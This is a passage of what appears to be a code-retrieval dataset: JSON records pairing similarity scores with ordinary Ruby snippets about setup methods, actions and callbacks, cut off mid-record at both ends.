"def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "af07b1f82e9e9304ed996d3c21fe355c", "score": "0.0", "text": "def set_student\n @student = Student.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n 